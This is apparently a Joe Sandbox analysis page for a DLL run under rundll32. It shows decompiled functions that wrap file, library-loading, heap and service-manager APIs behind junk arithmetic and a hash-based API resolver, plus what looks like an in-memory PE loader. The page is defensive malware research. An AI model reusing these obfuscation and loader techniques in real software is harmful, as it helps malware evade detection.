Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: _malloc$AllocNumaShowVirtualWindow_printf
String ID: +';$8192$`/$kernel32.dll$ntdll.dll
API String ID: 3394967972-2501038190
Opcode ID: 230bbdfcd20e835c4d7365e9bc9cc9309c602f396e76a36ffbf0d77b2387037d
Instruction ID: 74e036033439e47f0f6271ee42a165f027743cdfe4c2c4d01037afcb8f86e406
Opcode Fuzzy Hash: 230bbdfcd20e835c4d7365e9bc9cc9309c602f396e76a36ffbf0d77b2387037d
Instruction Fuzzy Hash: FE5141F5D00214AFEB00CF90EC96BAE77B4FB48344F144528E909BB345E775A6448BA2

Uniqueness

Uniqueness Score: -1.00%

Function 10016380, Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 27%

			E10016380(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x1002f780);
				_t8 = E1001984C(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E10019891(_t8);
				}
				if( *0x1005c984 != 3) {
					_push(_t23);
					L7:
					_push(0);
					_t8 = RtlFreeHeap( *0x1005ad4c); // executed
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E10017D62(_t31);
						 *_t10 = E10017D27(GetLastError());
					}
					goto L9;
				}
				E1001A549(4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E1001A5C2(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E1001A5ED();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E100163D6();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

APIs

__lock.LIBCMT ref: 1001639E

Part of subcall function 1001A549: __mtinitlocknum.LIBCMT ref: 1001A55D
Part of subcall function 1001A549: __amsg_exit.LIBCMT ref: 1001A569
Part of subcall function 1001A549: EnterCriticalSection.KERNEL32(00000001,00000001,?,1001C014,0000000D,1002FA58,00000008,1001C106,00000001,?,?,00000001,?,?,10017AE8,00000001), ref: 1001A571

___sbh_find_block.LIBCMT ref: 100163A9
___sbh_free_block.LIBCMT ref: 100163B8
RtlFreeHeap.NTDLL(00000000,?,1002F780,0000000C,1001BF6A,00000000,?,1001E73B,?,00000001,00000001,1001A4D3,00000018,1002F8C0,0000000C,1001A562), ref: 100163E8
GetLastError.KERNEL32(?,1001E73B,?,00000001,00000001,1001A4D3,00000018,1002F8C0,0000000C,1001A562,00000001,00000001,?,1001C014,0000000D,1002FA58), ref: 100163F9

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 933a214dfe2b721a1172918ae6127c9818b4b1158d9b2876c596c2397cc5b652
Instruction ID: 632ebcc47bfd7d50c2ae726889ea94072d2ceb4c664f4e9832d4c107bd8c1e1e
Opcode Fuzzy Hash: 933a214dfe2b721a1172918ae6127c9818b4b1158d9b2876c596c2397cc5b652
Instruction Fuzzy Hash: EE01D635805326EBEF20DBB4AC0AB9D3BF4EF053A0F214109F554AE091CB34EAC19A64

Uniqueness

Uniqueness Score: -1.00%

Function 03FF52B9, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 58
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E03FF52B9(WCHAR* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* _t47;
				struct HINSTANCE__* _t59;
				signed int _t61;
				signed int _t62;
				WCHAR* _t68;

				_push(_a12);
				_t68 = __ecx;
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E0400FE29(_t47);
				_v24 = _v24 & 0x00000000;
				_v28 = 0x68392e;
				_v16 = 0xf5950b;
				_v16 = _v16 ^ 0xb3325752;
				_v16 = _v16 ^ 0xe58473b2;
				_v16 = _v16 ^ 0x56462a2c;
				_v8 = 0x3988bb;
				_t61 = 0x3a;
				_v8 = _v8 / _t61;
				_v8 = _v8 + 0xf338;
				_v8 = _v8 << 5;
				_v8 = _v8 ^ 0x0035ea14;
				_v12 = 0xe53120;
				_v12 = _v12 ^ 0xa236e8c8;
				_t62 = 0x62;
				_v12 = _v12 / _t62;
				_v12 = _v12 ^ 0x01ab7b97;
				_v20 = 0x973198;
				_v20 = _v20 * 0x60;
				_v20 = _v20 ^ 0x38bce55b;
				E03FFEB52(_t62, _t62, 0xeec842c3, 0xab, 0xa2289af1);
				_t59 = LoadLibraryW(_t68); // executed
				return _t59;
			}

0x03ff52c0
0x03ff52c3
0x03ff52c5
0x03ff52c8
0x03ff52cc
0x03ff52cd
0x03ff52d2
0x03ff52d9
0x03ff52e2
0x03ff52e9
0x03ff52f0
0x03ff52f7
0x03ff52fe
0x03ff530a
0x03ff530f
0x03ff5314
0x03ff531b
0x03ff531f
0x03ff5326
0x03ff532d
0x03ff5337
0x03ff533f
0x03ff5342
0x03ff5349
0x03ff5360
0x03ff5363
0x03ff5376
0x03ff537f
0x03ff5385

APIs

LoadLibraryW.KERNEL32 ref: 03FF537F

Strings

.9h, xrefs: 03FF52D9
1, xrefs: 03FF5326
,*FV, xrefs: 03FF52F7

Memory Dump Source

Source File: 0000000C.00000002.321908815.0000000003FF1000.00000020.00000001.sdmp, Offset: 03FF0000, based on PE: true

Associated: 0000000C.00000002.321902802.0000000003FF0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.321929744.0000000004016000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3ff0000_rundll32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: 1$,*FV$.9h
API String ID: 1029625771-1870595533
Opcode ID: 47e2a649f6d09089b8114036349e08445583c90553a88ce36019ef6e82d966d0
Instruction ID: 35490d39653b2977bdb9e072c222de4f31b4fa614f3262f00c1515ccd28c3419
Opcode Fuzzy Hash: 47e2a649f6d09089b8114036349e08445583c90553a88ce36019ef6e82d966d0
Instruction Fuzzy Hash: BC2156B5D01208FBEF08DFA8D94A9EEBBB5FB40304F108198E915B6251D3B45B14DF90

Uniqueness

Uniqueness Score: -1.00%

Function 04011538, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E04011538(void* __ecx, void* __edx, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _t59;
				int _t75;
				signed int _t77;
				signed int _t78;
				signed int _t79;
				signed int _t80;

				_push(_a4);
				E0400FE29(_t59);
				_v24 = _v24 & 0x00000000;
				_v32 = 0x73095a;
				_v28 = 0xd34a52;
				_v16 = 0xb3a153;
				_t77 = 0x73;
				_v16 = _v16 / _t77;
				_v16 = _v16 + 0x4fd2;
				_v16 = _v16 ^ 0xee3af97f;
				_v16 = _v16 ^ 0xee3510f4;
				_v20 = 0xee2064;
				_v20 = _v20 << 0xe;
				_v20 = _v20 ^ 0x88190a0a;
				_v12 = 0x72c7a5;
				_v12 = _v12 + 0x7839;
				_t78 = 0x77;
				_v12 = _v12 / _t78;
				_t79 = 0x76;
				_v12 = _v12 / _t79;
				_v12 = _v12 ^ 0x00040652;
				_v8 = 0x10c7fb;
				_t80 = 0x6c;
				_v8 = _v8 * 0x70;
				_v8 = _v8 << 8;
				_v8 = _v8 / _t80;
				_v8 = _v8 ^ 0x00c83f8f;
				E03FFEB52(_t80, _t80, 0x2aa4bac1, 0x108, 0xa2289af1);
				_t75 = FindCloseChangeNotification(_a4); // executed
				return _t75;
			}

0x0401153e
0x04011543
0x04011548
0x0401154f
0x04011558
0x0401155f
0x0401156b
0x04011570
0x04011575
0x0401157c
0x04011583
0x0401158a
0x04011591
0x04011595
0x0401159c
0x040115a3
0x040115ad
0x040115b2
0x040115ba
0x040115bf
0x040115c4
0x040115cb
0x040115d6
0x040115e6
0x040115e9
0x040115f3
0x040115f6
0x0401160a
0x04011615
0x0401161a

APIs

FindCloseChangeNotification.KERNEL32(00040652), ref: 04011615

Strings

d , xrefs: 0401158A
Zs, xrefs: 0401154F

Memory Dump Source

Source File: 0000000C.00000002.321908815.0000000003FF1000.00000020.00000001.sdmp, Offset: 03FF0000, based on PE: true

Associated: 0000000C.00000002.321902802.0000000003FF0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.321929744.0000000004016000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3ff0000_rundll32.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID: Zs$d
API String ID: 2591292051-3879001491
Opcode ID: 38bb643fa24bb4614003e7abf6af2ef3a1b5f649b6f440d52b37eb84a0984821
Instruction ID: 63ac3117eef340eba3bc0dbd11016e65f6fb517af926827db4044ddc2aeaaa0e
Opcode Fuzzy Hash: 38bb643fa24bb4614003e7abf6af2ef3a1b5f649b6f440d52b37eb84a0984821
Instruction Fuzzy Hash: 20212AB5E40309EFEB04DFA5D9499DEBBB1EB50314F10C099E618BB290D7B96B548F80

Uniqueness

Uniqueness Score: -1.00%

Function 03FFD061, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E03FFD061(WCHAR* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t54;
				int _t63;
				signed int _t65;
				WCHAR* _t69;

				_push(_a12);
				_t69 = __ecx;
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E0400FE29(_t54);
				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v36 = 0xa62646;
				_v32 = 0x27199b;
				_v20 = 0x942c55;
				_v20 = _v20 | 0xf0368afe;
				_v20 = _v20 << 0xa;
				_v20 = _v20 ^ 0xfbcaf84d;
				_v20 = _v20 ^ 0x217d6c33;
				_v16 = 0xf28622;
				_v16 = _v16 >> 0xe;
				_v16 = _v16 | 0xeb4a9877;
				_v16 = _v16 ^ 0x2aded5e4;
				_v16 = _v16 ^ 0xc19eb21f;
				_v12 = 0x4a5837;
				_v12 = _v12 ^ 0xa3e571b7;
				_v12 = _v12 + 0xffff6305;
				_t65 = 0x6e;
				_v12 = _v12 / _t65;
				_v12 = _v12 ^ 0x01794185;
				_v8 = 0xa209ee;
				_v8 = _v8 + 0x62d2;
				_v8 = _v8 ^ 0x3d892cf6;
				_v8 = _v8 | 0x5ca7d1ce;
				_v8 = _v8 ^ 0x7da8dabc;
				E03FFEB52(_t65, _t65, 0x74c3d0b1, 0x1a1, 0xa2289af1);
				_t63 = DeleteFileW(_t69); // executed
				return _t63;
			}

0x03ffd068
0x03ffd06b
0x03ffd06d
0x03ffd070
0x03ffd074
0x03ffd075
0x03ffd07a
0x03ffd081
0x03ffd087
0x03ffd08e
0x03ffd095
0x03ffd09c
0x03ffd0a3
0x03ffd0a7
0x03ffd0ae
0x03ffd0b5
0x03ffd0bc
0x03ffd0c0
0x03ffd0c7
0x03ffd0ce
0x03ffd0d5
0x03ffd0dc
0x03ffd0e3
0x03ffd0ef
0x03ffd0f7
0x03ffd0fa
0x03ffd101
0x03ffd108
0x03ffd10f
0x03ffd116
0x03ffd11d
0x03ffd13c
0x03ffd145
0x03ffd14b

APIs

DeleteFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 03FFD145

Strings

3l}!, xrefs: 03FFD0AE
7XJ, xrefs: 03FFD0D5

Memory Dump Source

Source File: 0000000C.00000002.321908815.0000000003FF1000.00000020.00000001.sdmp, Offset: 03FF0000, based on PE: true

Associated: 0000000C.00000002.321902802.0000000003FF0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.321929744.0000000004016000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3ff0000_rundll32.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID: 3l}!$7XJ
API String ID: 4033686569-2205417827
Opcode ID: 10709235247fc134180b3dbd0d2fc7697fcbb658dcad94b6e8f128d82acf9f3f
Instruction ID: 05698f93ea23be75f64faa42166c180848056ad260daa6bf69c4fb0bdecc7046
Opcode Fuzzy Hash: 10709235247fc134180b3dbd0d2fc7697fcbb658dcad94b6e8f128d82acf9f3f
Instruction Fuzzy Hash: 722145B5D01318AFDF18DFA4C98A9DEFBB4FF14304F108188E966A6220D7B85B558F91

Uniqueness

Uniqueness Score: -1.00%

Function 040145CA, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68
fileCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E040145CA(WCHAR* __ecx, void* __edx, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, long _a24, intOrPtr _a28, intOrPtr _a32, long _a36, intOrPtr _a40, long _a44, long _a48) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				intOrPtr _v28;
				void* _t51;
				void* _t60;
				WCHAR* _t64;

				_push(_a48);
				_t64 = __ecx;
				_push(_a44);
				_push(_a40);
				_push(_a36);
				_push(_a32);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(0);
				_push(0);
				_push(__ecx);
				E0400FE29(_t51);
				_v28 = 0x204d4f;
				_v24 = 0;
				_v20 = 0xd27984;
				_v20 = _v20 | 0x43788b11;
				_v20 = _v20 ^ 0x43f3df42;
				_v16 = 0xf976f1;
				_v16 = _v16 + 0xffff3d74;
				_v16 = _v16 | 0xfc5c4419;
				_v16 = _v16 ^ 0xfcfdb6fc;
				_v12 = 0xb7df7c;
				_v12 = _v12 + 0xffff3658;
				_v12 = _v12 * 0x13;
				_v12 = _v12 ^ 0x1f30f970;
				_v12 = _v12 ^ 0x12ab006a;
				_v8 = 0x8ba8ca;
				_v8 = _v8 | 0x62aa166a;
				_v8 = _v8 + 0xa2f6;
				_v8 = _v8 * 0x55;
				_v8 = _v8 ^ 0xc33acf6c;
				E03FFEB52(__ecx, __ecx, 0xbc17bbde, 0x19f, 0xa2289af1);
				_t60 = CreateFileW(_t64, _a24, _a48, 0, _a44, _a36, 0); // executed
				return _t60;
			}

0x040145d2
0x040145d7
0x040145d9
0x040145dc
0x040145df
0x040145e2
0x040145e5
0x040145e8
0x040145eb
0x040145ee
0x040145f1
0x040145f4
0x040145f5
0x040145f7
0x040145f8
0x040145fd
0x04014607
0x0401460a
0x04014611
0x04014618
0x0401461f
0x04014626
0x0401462d
0x04014634
0x0401463b
0x04014642
0x0401465d
0x04014660
0x04014667
0x0401466e
0x04014675
0x0401467c
0x04014688
0x0401468b
0x0401469e
0x040146b5
0x040146bc

APIs

CreateFileW.KERNEL32(?,00000057,?,00000000,?,?,00000000), ref: 040146B5

Strings

OM , xrefs: 040145FD

Memory Dump Source

Source File: 0000000C.00000002.321908815.0000000003FF1000.00000020.00000001.sdmp, Offset: 03FF0000, based on PE: true

Associated: 0000000C.00000002.321902802.0000000003FF0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.321929744.0000000004016000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3ff0000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: OM
API String ID: 823142352-4198367855
Opcode ID: c9e2e688d9aa6a43dcdad6de9a4dd150b1ce22289e56966cf6fc1244f0671eef
Instruction ID: 455b87ec1a720648d4df32621f622efa203e69e0431c8306dc45ed9969db8794
Opcode Fuzzy Hash: c9e2e688d9aa6a43dcdad6de9a4dd150b1ce22289e56966cf6fc1244f0671eef
Instruction Fuzzy Hash: 4121EE72801249BBCF05DFA9CD45CDEBFB5EF88304F508199FA14A6220D3768A61AF90

Uniqueness

Uniqueness Score: -1.00%

Function 100021D0, Relevance: 3.1, APIs: 2, Instructions: 98
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E100021D0(intOrPtr __ecx, intOrPtr* _a4, void** _a8) {
				long _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				int _t67;

				_v28 = __ecx;
				if(_a8[2] != 0) {
					if((_a8[3] & 0x02000000) == 0) {
						asm("sbb ecx, ecx");
						_v16 =  ~( ~(_a8[3] & 0x20000000));
						asm("sbb eax, eax");
						_v24 =  ~( ~(_a8[3] & 0x40000000));
						asm("sbb edx, edx");
						_v12 =  ~( ~(_a8[3] & 0x80000000));
						_t39 = _v24 * 8; // 0x10056f20
						_v20 =  *((intOrPtr*)((_v16 << 4) + _t39 + 0x10056f20 + _v12 * 4));
						if((_a8[3] & 0x04000000) != 0) {
							_v20 = _v20 | 0x00000200;
						}
						_t67 = VirtualProtect( *_a8, _a8[2], _v20,  &_v8); // executed
						if(_t67 != 0) {
							return 1;
						} else {
							return 0;
						}
					}
					if( *_a8 == _a8[1] && (_a8[4] != 0 ||  *((intOrPtr*)( *_a4 + 0x38)) ==  *(_a4 + 0x30) || _a8[2] %  *(_a4 + 0x30) == 0)) {
						VirtualFree( *_a8, _a8[2], 0x4000); // executed
					}
					return 1;
				}
				return 1;
			}

APIs

VirtualFree.KERNELBASE(00000000,?,00004000,?,10002468,00000001,00000000,?,10002C68,?,?,?,?,10002C68,00000000,00000000), ref: 10002244

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 47f32b032b7fce0672a30d9b107070a1881b22e5365e79d9d7a5c7562cbc9459
Instruction ID: def7816fd77fd5aef653724919a03fde70f7e86383ff2ba96e4cf8bb5acc80b5
Opcode Fuzzy Hash: 47f32b032b7fce0672a30d9b107070a1881b22e5365e79d9d7a5c7562cbc9459
Instruction Fuzzy Hash: 5A41B674600109AFEB44CF98C890BA9B7B6FB88350F25C659EC1A9F395C731EE41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 1001A305, Relevance: 3.0, APIs: 2, Instructions: 28
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E1001A305(intOrPtr _a4) {
				void* _t6;
				intOrPtr _t7;
				void* _t10;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x1005ad4c = _t6;
				if(_t6 != 0) {
					_t7 = E1001A2AA(__eflags);
					__eflags = _t7 - 3;
					 *0x1005c984 = _t7;
					if(_t7 != 3) {
						L5:
						__eflags = 1;
						return 1;
					} else {
						_t10 = E1001A57A(0x3f8);
						__eflags = _t10;
						if(_t10 != 0) {
							goto L5;
						} else {
							HeapDestroy( *0x1005ad4c);
							 *0x1005ad4c =  *0x1005ad4c & 0x00000000;
							goto L1;
						}
					}
				} else {
					L1:
					return 0;
				}
			}

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000,1001796A,00000001,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C), ref: 1001A316
HeapDestroy.KERNEL32(?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001A34C

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Heap$CreateDestroy
String ID:
API String ID: 3296620671-0
Opcode ID: 2498113e0f0cb93b929c98f8b50cab2ed5fb389832bb0c331937e648ce874443
Instruction ID: 8ebff57b685a6f4636b50d0b354dfd0ee4d70228ae444a146c3f0929ed30e208
Opcode Fuzzy Hash: 2498113e0f0cb93b929c98f8b50cab2ed5fb389832bb0c331937e648ce874443
Instruction Fuzzy Hash: 93E06D71A193569EFB10AB308C9972536F4EB46386F104826F911CD4A0F7B0C6C09A01

Uniqueness

Uniqueness Score: -1.00%

Function 10002010, Relevance: 2.6, APIs: 2, Instructions: 115
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E10002010(intOrPtr __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				void* _v12;
				long _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _t76;
				void* _t127;

				_v28 = __ecx;
				_t3 = _a16 + 4; // 0x104e9
				_v20 =  *_t3;
				_t7 =  *_a16 + 0x14; // 0x4a8bb445
				_t9 = ( *_t7 & 0x0000ffff) + 0x18; // 0x10002c17
				_v24 =  *_a16 + _t9;
				_v8 = 0;
				while(1) {
					_t17 =  *_a16 + 6; // 0xe9000001
					if(_v8 >= ( *_t17 & 0x0000ffff)) {
						break;
					}
					if( *(_v24 + 0x10) != 0) {
						_t41 = _v24 + 0x14; // 0x4a8bb445
						_t43 = _v24 + 0x10; // 0x8b118bbc
						if(E10001FE0(_v28, _a8,  *_t41 +  *_t43) != 0) {
							_t47 = _v24 + 0x10; // 0x8b118bbc
							_t50 = _v24 + 0xc; // 0x4d8b0000
							_t76 = VirtualAlloc(_v20 +  *_t50,  *_t47, 0x1000, 4); // executed
							_v12 = _t76;
							if(_v12 != 0) {
								_t55 = _v24 + 0xc; // 0x4d8b0000
								_v12 = _v20 +  *_t55;
								_t58 = _v24 + 0x10; // 0x8b118bbc
								_t61 = _v24 + 0x14; // 0x4a8bb445
								E10001E60(_v12, _a4 +  *_t61,  *_t58);
								_t127 = _t127 + 0xc;
								 *((intOrPtr*)(_v24 + 8)) = _v12;
								L1:
								_v8 = _v8 + 1;
								_v24 = _v24 + 0x28;
								continue;
							}
							return 0;
						}
						return 0;
					}
					_v16 =  *((intOrPtr*)(_a12 + 0x38));
					if(_v16 <= 0) {
						L8:
						goto L1;
					}
					_t28 = _v24 + 0xc; // 0x4d8b0000
					_v12 = VirtualAlloc(_v20 +  *_t28, _v16, 0x1000, 4);
					if(_v12 != 0) {
						_t33 = _v24 + 0xc; // 0x4d8b0000
						_v12 = _v20 +  *_t33;
						 *((intOrPtr*)(_v24 + 8)) = _v12;
						E10001E10(_v12, 0, _v16);
						_t127 = _t127 + 0xc;
						goto L8;
					}
					return 0;
				}
				return 1;
			}

APIs

VirtualAlloc.KERNEL32(4D8B0000,00000000,00001000,00000004,?,10002BFF,00000000), ref: 10002091
VirtualAlloc.KERNEL32(4D8B0000,8B118BBC,00001000,00000004,10008AC6,8B118BBC,?,10002BFF,00000000,10008AC6,?), ref: 1000210C

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1f005b19e3c441fc20b6c29efe2afaeec2d3b558fdbd29b30d99f40439f16acf
Instruction ID: c265c5d024e1aaa08d03296b5d335ffe068feccc9d90f6e2fd2d76d71ec68577
Opcode Fuzzy Hash: 1f005b19e3c441fc20b6c29efe2afaeec2d3b558fdbd29b30d99f40439f16acf
Instruction Fuzzy Hash: 4E51DEB4A0020ADFDB04CF94C591AAEB7F1FF48344F208598E915AB355D771EE91CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0400648A, Relevance: 1.6, APIs: 1, Instructions: 50
memoryCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E0400648A(long __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, void* _a12, long _a16) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				void* _t41;
				void* _t49;
				long _t52;

				_push(_a16);
				_t52 = __ecx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E0400FE29(_t41);
				_v12 = 0x3cd3f;
				_v12 = _v12 << 3;
				_v12 = _v12 | 0xc677f757;
				_v12 = _v12 >> 7;
				_v12 = _v12 ^ 0x0188bcff;
				_v20 = 0x40fc9e;
				_v20 = _v20 << 4;
				_v20 = _v20 ^ 0x040306b1;
				_v16 = 0x159e9f;
				_v16 = _v16 + 0xffffd0d5;
				_v16 = _v16 * 0x33;
				_v16 = _v16 ^ 0x04433238;
				_v8 = 0x8a430d;
				_v8 = _v8 + 0xffffdfbc;
				_v8 = _v8 | 0x5356d001;
				_v8 = _v8 + 0x638e;
				_v8 = _v8 ^ 0x53d0144a;
				E03FFEB52(__ecx, __ecx, 0x958aafc8, 0x1c3, 0xa2289af1);
				_t49 = RtlAllocateHeap(_a12, _a16, _t52); // executed
				return _t49;
			}

0x04006491
0x04006494
0x04006496
0x04006499
0x0400649c
0x040064a0
0x040064a1
0x040064a6
0x040064b0
0x040064b4
0x040064bb
0x040064bf
0x040064c6
0x040064cd
0x040064d1
0x040064d8
0x040064df
0x040064fa
0x040064fd
0x04006504
0x0400650b
0x04006512
0x04006519
0x04006520
0x04006534
0x04006543
0x04006549

APIs

RtlAllocateHeap.NTDLL(040306B1,?,ED94606E,?,?,?,?,?,?,?,?,?,?,?), ref: 04006543

Memory Dump Source

Source File: 0000000C.00000002.321908815.0000000003FF1000.00000020.00000001.sdmp, Offset: 03FF0000, based on PE: true

Associated: 0000000C.00000002.321902802.0000000003FF0000.00000004.00000001.sdmp Download File
Associated: 0000000C.00000002.321929744.0000000004016000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3ff0000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f41072fe55694ed81fb5a2d434f63a6d1651ccbd0ba08c91d6bc4f92d8fba8a5
Instruction ID: 990d00fe4f8975e711edebb6a8e77d60eadd53cead6dc7b78f0233c705e2e25d
Opcode Fuzzy Hash: f41072fe55694ed81fb5a2d434f63a6d1651ccbd0ba08c91d6bc4f92d8fba8a5
Instruction Fuzzy Hash: 1A11FFB2C01219BBDF06DFA5D9098CEBBB4EB00314F108598E921A6260E3B59B249F91

Uniqueness

Uniqueness Score: -1.00%

Function 0400E8B6, Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E0400E8B6(void* __ecx, void* __edx, intOrPtr _a4, int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				void* _t29;
				void* _t37;

				_push(_a16);
				_push(_a12);
				_push(0);
				_push(_a4);
				_push(0);
				E0400FE29(_t29);
				_v20 = 0xc8e76b;
				_v20 = _v20 | 0x270203a1;
				_v20 = _v20 ^ 0x27c97096;
				_v16 = 0x55aebc;
				_v16 = _v16 >> 2;
				_v16 = _v16 ^ 0x00171a80;
				_v12 = 0xfad6fe;
				_v12 = _v12 ^ 0xd14a4d1d;
				_v12 = _v12 ^ 0xd1b10da7;
				_v8 = 0x428060;
				_v8 = _v8 * 0x54;
				_v8 = _v8 ^ 0x15de1a76;
				E03FFEB52(__ecx, __ecx, 0x3c0b385, 0x1bc, 0x1f76e49f);
				_t37 = OpenSCManagerW(0, 0, _a12); // executed
				return _t37;
			}

0x0400e8bd
0x0400e8c2
0x0400e8c5
0x0400e8c6
0x0400e8ca
0x0400e8cb
0x0400e8d0
0x0400e8da
0x0400e8e1
0x0400e8e8
0x0400e8ef
0x0400e8f3
0x0400e8fa
0x0400e901
0x0400e908
0x0400e90f
0x0400e92a
0x0400e92d
0x0400e941
0x0400e94e
0x0400e954

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,27C97096,?,?,?,?,?,?,?,?,?,?,?), ref: 0400E94E

Memory Dump Source

